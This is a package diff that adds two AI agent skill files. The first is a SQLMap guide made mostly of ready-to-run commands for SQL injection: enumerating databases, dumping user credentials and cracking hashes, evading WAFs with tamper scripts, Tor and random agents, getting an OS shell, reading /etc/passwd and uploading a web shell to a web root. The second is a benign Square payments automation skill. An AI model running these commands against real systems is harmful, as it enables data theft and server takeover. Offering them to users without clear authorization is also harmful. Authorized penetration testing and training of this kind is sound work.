skill-library-mcp 1.0.0

package/skills/sqlmap-database-pentesting/SKILL.md

@@ -0,0 +1,400 @@
+---
+name: SQLMap Database Penetration Testing
+description: This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# SQLMap Database Penetration Testing
+
+## Purpose
+
+Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.
+
+## Inputs / Prerequisites
+
+- **Target URL**: Web application URL with injectable parameter (e.g., `?id=1`)
+- **SQLMap Installation**: Pre-installed on Kali Linux or downloaded from GitHub
+- **Verified Injection Point**: URL parameter confirmed or suspected to be SQL injectable
+- **Request File (Optional)**: Burp Suite captured HTTP request for POST-based injection
+- **Authorization**: Written permission for penetration testing activities
+
+## Outputs / Deliverables
+
+- **Database Enumeration**: List of all databases on the target server
+- **Table Structure**: Complete table names within target database
+- **Column Mapping**: Column names and data types for each table
+- **Extracted Data**: Dumped records including usernames, passwords, and sensitive data
+- **Hash Values**: Password hashes for offline cracking
+- **Vulnerability Report**: Confirmation of SQL injection type and severity
+
+## Core Workflow
+
+### 1. Identify SQL Injection Vulnerability
+
+#### Manual Verification
+```bash
+# Add single quote to break query
+http://target.com/page.php?id=1'
+
+# If error message appears, likely SQL injectable
+# Error example: "You have an error in your SQL syntax"
+```
+
+#### Initial SQLMap Scan
+```bash
+# Basic vulnerability detection
+sqlmap -u "http://target.com/page.php?id=1" --batch
+
+# With verbosity for detailed output
+sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
+```
+
+### 2. Enumerate Databases
+
+#### List All Databases
+```bash
+sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
+```
+
+**Key Options:**
+- `-u`: Target URL with injectable parameter
+- `--dbs`: Enumerate database names
+- `--batch`: Use default answers (non-interactive mode)
+
+### 3. Enumerate Tables
+
+#### List Tables in Specific Database
+```bash
+sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
+```
+
+**Key Options:**
+- `-D`: Specify target database name
+- `--tables`: Enumerate table names
+
+### 4. Enumerate Columns
+
+#### List Columns in Specific Table
+```bash
+sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
+```
+
+**Key Options:**
+- `-T`: Specify target table name
+- `--columns`: Enumerate column names
+
+### 5. Extract Data
+
+#### Dump Specific Table Data
+```bash
+sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
+```
+
+#### Dump Specific Columns
+```bash
+sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
+```
+
+#### Dump Entire Database
+```bash
+sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
+```
+
+**Key Options:**
+- `--dump`: Extract all data from specified table
+- `--dump-all`: Extract all data from all tables
+- `-C`: Specify column names to extract
+
+### 6. Advanced Target Options
+
+#### Target from HTTP Request File
+```bash
+# Save Burp Suite request to file, then:
+sqlmap -r /path/to/request.txt --dbs --batch
+```
+
+#### Target from Log File
+```bash
+# Feed log file with multiple requests
+sqlmap -l /path/to/logfile --dbs --batch
+```
+
+#### Target Multiple URLs (Bulk File)
+```bash
+# Create file with URLs, one per line:
+# http://target1.com/page.php?id=1
+# http://target2.com/page.php?id=2
+sqlmap -m /path/to/bulkfile.txt --dbs --batch
+```
+
+#### Target via Google Dorks (Use with Caution)
+```bash
+# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
+sqlmap -g "inurl:?id= site:yourdomain.com" --batch
+```
+
+## Quick Reference Commands
+
+### Database Enumeration Progression
+
+| Stage | Command |
+|-------|---------|
+| List Databases | `sqlmap -u "URL" --dbs --batch` |
+| List Tables | `sqlmap -u "URL" -D dbname --tables --batch` |
+| List Columns | `sqlmap -u "URL" -D dbname -T tablename --columns --batch` |
+| Dump Data | `sqlmap -u "URL" -D dbname -T tablename --dump --batch` |
+| Dump All | `sqlmap -u "URL" -D dbname --dump-all --batch` |
+
+### Supported Database Management Systems
+
+| DBMS | Support Level |
+|------|---------------|
+| MySQL | Full Support |
+| PostgreSQL | Full Support |
+| Microsoft SQL Server | Full Support |
+| Oracle | Full Support |
+| Microsoft Access | Full Support |
+| IBM DB2 | Full Support |
+| SQLite | Full Support |
+| Firebird | Full Support |
+| Sybase | Full Support |
+| SAP MaxDB | Full Support |
+| HSQLDB | Full Support |
+| Informix | Full Support |
+
+### SQL Injection Techniques
+
+| Technique | Description | Flag |
+|-----------|-------------|------|
+| Boolean-based blind | Infers data from true/false responses | `--technique=B` |
+| Time-based blind | Uses time delays to infer data | `--technique=T` |
+| Error-based | Extracts data from error messages | `--technique=E` |
+| UNION query-based | Uses UNION to append results | `--technique=U` |
+| Stacked queries | Executes multiple statements | `--technique=S` |
+| Out-of-band | Uses DNS or HTTP for exfiltration | `--technique=Q` |
+
+### Essential Options
+
+| Option | Description |
+|--------|-------------|
+| `-u` | Target URL |
+| `-r` | Load HTTP request from file |
+| `-l` | Parse targets from Burp/WebScarab log |
+| `-m` | Bulk file with multiple targets |
+| `-g` | Google dork (use responsibly) |
+| `--dbs` | Enumerate databases |
+| `--tables` | Enumerate tables |
+| `--columns` | Enumerate columns |
+| `--dump` | Dump table data |
+| `--dump-all` | Dump all database data |
+| `-D` | Specify database |
+| `-T` | Specify table |
+| `-C` | Specify columns |
+| `--batch` | Non-interactive mode |
+| `--random-agent` | Use random User-Agent |
+| `--level` | Level of tests (1-5) |
+| `--risk` | Risk of tests (1-3) |
+
+## Constraints and Limitations
+
+### Operational Boundaries
+- Requires valid injectable parameter in target URL
+- Network connectivity to target database server required
+- Large database dumps may take significant time
+- Some WAF/IPS systems may block SQLMap traffic
+- Time-based attacks significantly slower than error-based
+
+### Performance Considerations
+- Use `--threads` to speed up enumeration (default: 1)
+- Limit dumps with `--start` and `--stop` for large tables
+- Use `--technique` to specify faster injection method if known
+
+### Legal Requirements
+- Only test systems with explicit written authorization
+- Google dork attacks against unknown sites are illegal
+- Document all testing activities and findings
+- Respect scope limitations defined in engagement rules
+
+### Detection Risk
+- SQLMap generates significant log entries
+- Use `--random-agent` to vary User-Agent header
+- Consider `--delay` to avoid triggering rate limits
+- Proxy through Tor with `--tor` for anonymity (authorized tests only)
+
+## Examples
+
+### Example 1: Complete Database Enumeration
+```bash
+# Step 1: Discover databases
+sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
+# Result: acuart database found
+
+# Step 2: List tables
+sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
+# Result: users, products, carts, etc.
+
+# Step 3: List columns
+sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
+# Result: username, password, email columns
+
+# Step 4: Dump user credentials
+sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
+```
+
+### Example 2: POST Request Injection
+```bash
+# Save Burp request to file (login.txt):
+# POST /login.php HTTP/1.1
+# Host: target.com
+# Content-Type: application/x-www-form-urlencoded
+# 
+# username=admin&password=test
+
+# Run SQLMap with request file
+sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
+```
+
+### Example 3: Bulk Target Scanning
+```bash
+# Create bulkfile.txt:
+echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
+echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
+
+# Scan all targets
+sqlmap -m bulkfile.txt --dbs --batch
+```
+
+### Example 4: Aggressive Testing
+```bash
+# High level and risk for thorough testing
+sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
+
+# Specify all techniques
+sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
+```
+
+### Example 5: Extract Specific Credentials
+```bash
+# Target specific columns
+sqlmap -u "http://target.com/page.php?id=1" \
+  -D webapp \
+  -T admin_users \
+  -C admin_name,admin_pass,admin_email \
+  --dump --batch
+
+# Automatically crack password hashes
+sqlmap -u "http://target.com/page.php?id=1" \
+  -D webapp \
+  -T users \
+  --dump --batch \
+  --passwords
+```
+
+### Example 6: OS Shell Access (Advanced)
+```bash
+# Get interactive OS shell (requires DBA privileges)
+sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
+
+# Execute specific OS command
+sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
+
+# File read from server
+sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
+
+# File upload to server
+sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
+```
+
+## Troubleshooting
+
+### Issue: "Parameter does not seem injectable"
+**Cause**: SQLMap cannot find injection point
+**Solution**:
+```bash
+# Increase testing level and risk
+sqlmap -u "URL" --dbs --batch --level=5 --risk=3
+
+# Specify parameter explicitly
+sqlmap -u "URL" -p "id" --dbs --batch
+
+# Try different injection techniques
+sqlmap -u "URL" --dbs --batch --technique=BT
+
+# Add prefix/suffix for filter bypass
+sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
+```
+
+### Issue: Target Behind WAF/Firewall
+**Cause**: Web Application Firewall blocking requests
+**Solution**:
+```bash
+# Use tamper scripts
+sqlmap -u "URL" --dbs --batch --tamper=space2comment
+
+# List available tamper scripts
+sqlmap --list-tampers
+
+# Common tamper combinations
+sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase
+
+# Add delay between requests
+sqlmap -u "URL" --dbs --batch --delay=2
+
+# Use random User-Agent
+sqlmap -u "URL" --dbs --batch --random-agent
+```
+
+### Issue: Connection Timeout
+**Cause**: Network issues or slow target
+**Solution**:
+```bash
+# Increase timeout
+sqlmap -u "URL" --dbs --batch --timeout=60
+
+# Reduce threads
+sqlmap -u "URL" --dbs --batch --threads=1
+
+# Add retries
+sqlmap -u "URL" --dbs --batch --retries=5
+```
+
+### Issue: Time-Based Attacks Too Slow
+**Cause**: Default time delay too conservative
+**Solution**:
+```bash
+# Reduce time delay (risky, may cause false negatives)
+sqlmap -u "URL" --dbs --batch --time-sec=3
+
+# Use boolean-based instead if possible
+sqlmap -u "URL" --dbs --batch --technique=B
+```
+
+### Issue: Cannot Dump Large Tables
+**Cause**: Table has too many records
+**Solution**:
+```bash
+# Limit number of records
+sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100
+
+# Dump specific columns only
+sqlmap -u "URL" -D db -T table -C username,password --dump --batch
+
+# Exclude specific columns
+sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs
+```
+
+### Issue: Session Drops During Long Scan
+**Cause**: Session timeout or connection reset
+**Solution**:
+```bash
+# Save and resume session
+sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session
+
+# Resume from saved session
+sqlmap -u "URL" --dbs --batch --resume
+
+# Use persistent HTTP connection
+sqlmap -u "URL" --dbs --batch --keep-alive
+```

package/skills/square-automation/SKILL.md

@@ -0,0 +1,176 @@
+---
+name: square-automation
+description: "Automate Square tasks via Rube MCP (Composio): payments, orders, invoices, locations. Always search tools first for current schemas."
+requires:
+  mcp: [rube]
+---
+
+# Square Automation via Rube MCP
+
+Automate Square payment processing, order management, and invoicing through Composio's Square toolkit via Rube MCP.
+
+## Prerequisites
+
+- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
+- Active Square connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `square`
+- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
+
+## Setup
+
+**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
+
+
+1. Verify Rube MCP is available by confirming `RUBE_SEARCH_TOOLS` responds
+2. Call `RUBE_MANAGE_CONNECTIONS` with toolkit `square`
+3. If connection is not ACTIVE, follow the returned auth link to complete Square OAuth
+4. Confirm connection status shows ACTIVE before running any workflows
+
+## Core Workflows
+
+### 1. List and Monitor Payments
+
+**When to use**: User wants to view payment history or check payment status
+
+**Tool sequence**:
+1. `SQUARE_LIST_PAYMENTS` - Retrieve payments with optional filters [Required]
+2. `SQUARE_CANCEL_PAYMENT` - Cancel a pending payment if needed [Optional]
+
+**Key parameters**:
+- `begin_time` / `end_time`: RFC 3339 timestamps for date range filtering
+- `sort_order`: 'ASC' or 'DESC' for chronological ordering
+- `cursor`: Pagination cursor from previous response
+- `location_id`: Filter payments by specific location
+
+**Pitfalls**:
+- Timestamps must be RFC 3339 format (e.g., '2024-01-01T00:00:00Z')
+- Pagination required for large result sets; follow `cursor` until absent
+- Only pending payments can be cancelled; completed payments require refunds
+- `SQUARE_CANCEL_PAYMENT` requires exact `payment_id` from list results
+
+### 2. Search and Manage Orders
+
+**When to use**: User wants to find orders by criteria or update order details
+
+**Tool sequence**:
+1. `SQUARE_LIST_LOCATIONS` - Get location IDs for filtering [Prerequisite]
+2. `SQUARE_SEARCH_ORDERS` - Search orders with filters [Required]
+3. `SQUARE_RETRIEVE_ORDER` - Get full details of a specific order [Optional]
+4. `SQUARE_UPDATE_ORDER` - Modify order state or details [Optional]
+
+**Key parameters**:
+- `location_ids`: Array of location IDs to search within (required for search)
+- `query`: Search filter object with date ranges, states, fulfillment types
+- `order_id`: Specific order ID for retrieve/update operations
+- `cursor`: Pagination cursor for search results
+
+**Pitfalls**:
+- `location_ids` is required for SEARCH_ORDERS; get IDs from LIST_LOCATIONS first
+- Order states include: OPEN, COMPLETED, CANCELED, DRAFT
+- UPDATE_ORDER requires the current `version` field to prevent conflicts
+- Search results are paginated; follow `cursor` until absent
+
+### 3. Manage Locations
+
+**When to use**: User wants to view business locations or get location details
+
+**Tool sequence**:
+1. `SQUARE_LIST_LOCATIONS` - List all business locations [Required]
+
+**Key parameters**:
+- No required parameters; returns all accessible locations
+- Response includes `id`, `name`, `address`, `status`, `timezone`
+
+**Pitfalls**:
+- Location IDs are required for most other Square operations (orders, payments)
+- Always cache location IDs after first retrieval to avoid redundant calls
+- Inactive locations may still appear in results; check `status` field
+
+### 4. Invoice Management
+
+**When to use**: User wants to list, view, or cancel invoices
+
+**Tool sequence**:
+1. `SQUARE_LIST_LOCATIONS` - Get location ID for filtering [Prerequisite]
+2. `SQUARE_LIST_INVOICES` - List invoices for a location [Required]
+3. `SQUARE_GET_INVOICE` - Get detailed invoice information [Optional]
+4. `SQUARE_CANCEL_INVOICE` - Cancel a scheduled or unpaid invoice [Optional]
+
+**Key parameters**:
+- `location_id`: Required for listing invoices
+- `invoice_id`: Required for get/cancel operations
+- `cursor`: Pagination cursor for list results
+- `limit`: Number of results per page
+
+**Pitfalls**:
+- `location_id` is required for LIST_INVOICES; resolve via LIST_LOCATIONS first
+- Only SCHEDULED, UNPAID, or PARTIALLY_PAID invoices can be cancelled
+- CANCEL_INVOICE requires the invoice `version` to prevent race conditions
+- Cancelled invoices cannot be uncancelled
+
+## Common Patterns
+
+### ID Resolution
+
+**Location name -> Location ID**:
+```
+1. Call SQUARE_LIST_LOCATIONS
+2. Find location by name in response
+3. Extract id field (e.g., 'L1234ABCD')
+```
+
+**Order lookup**:
+```
+1. Call SQUARE_SEARCH_ORDERS with location_ids and query filters
+2. Extract order_id from results
+3. Use order_id for RETRIEVE_ORDER or UPDATE_ORDER
+```
+
+### Pagination
+
+- Check response for `cursor` field
+- Pass cursor value in next request's `cursor` parameter
+- Continue until `cursor` is absent or empty
+- Use `limit` to control page size
+
+### Date Range Filtering
+
+- Use RFC 3339 format: `2024-01-01T00:00:00Z`
+- For payments: `begin_time` and `end_time` parameters
+- For orders: Use query filter with date_time_filter
+- All timestamps are in UTC
+
+## Known Pitfalls
+
+**ID Formats**:
+- Location IDs are alphanumeric strings (e.g., 'L1234ABCD')
+- Payment IDs and Order IDs are longer alphanumeric strings
+- Always resolve location names to IDs before other operations
+
+**Versioning**:
+- UPDATE_ORDER and CANCEL_INVOICE require current `version` field
+- Fetch the resource first to get its current version
+- Version mismatch returns a 409 Conflict error
+
+**Rate Limits**:
+- Square API has per-endpoint rate limits
+- Implement backoff for bulk operations
+- Pagination should include brief delays for large datasets
+
+**Response Parsing**:
+- Responses may nest data under `data` key
+- Money amounts are in smallest currency unit (cents for USD)
+- Parse defensively with fallbacks for optional fields
+
+## Quick Reference
+
+| Task | Tool Slug | Key Params |
+|------|-----------|------------|
+| List payments | SQUARE_LIST_PAYMENTS | begin_time, end_time, location_id, cursor |
+| Cancel payment | SQUARE_CANCEL_PAYMENT | payment_id |
+| Search orders | SQUARE_SEARCH_ORDERS | location_ids, query, cursor |
+| Get order | SQUARE_RETRIEVE_ORDER | order_id |
+| Update order | SQUARE_UPDATE_ORDER | order_id, version |
+| List locations | SQUARE_LIST_LOCATIONS | (none) |
+| List invoices | SQUARE_LIST_INVOICES | location_id, cursor |
+| Get invoice | SQUARE_GET_INVOICE | invoice_id |
+| Cancel invoice | SQUARE_CANCEL_INVOICE | invoice_id, version |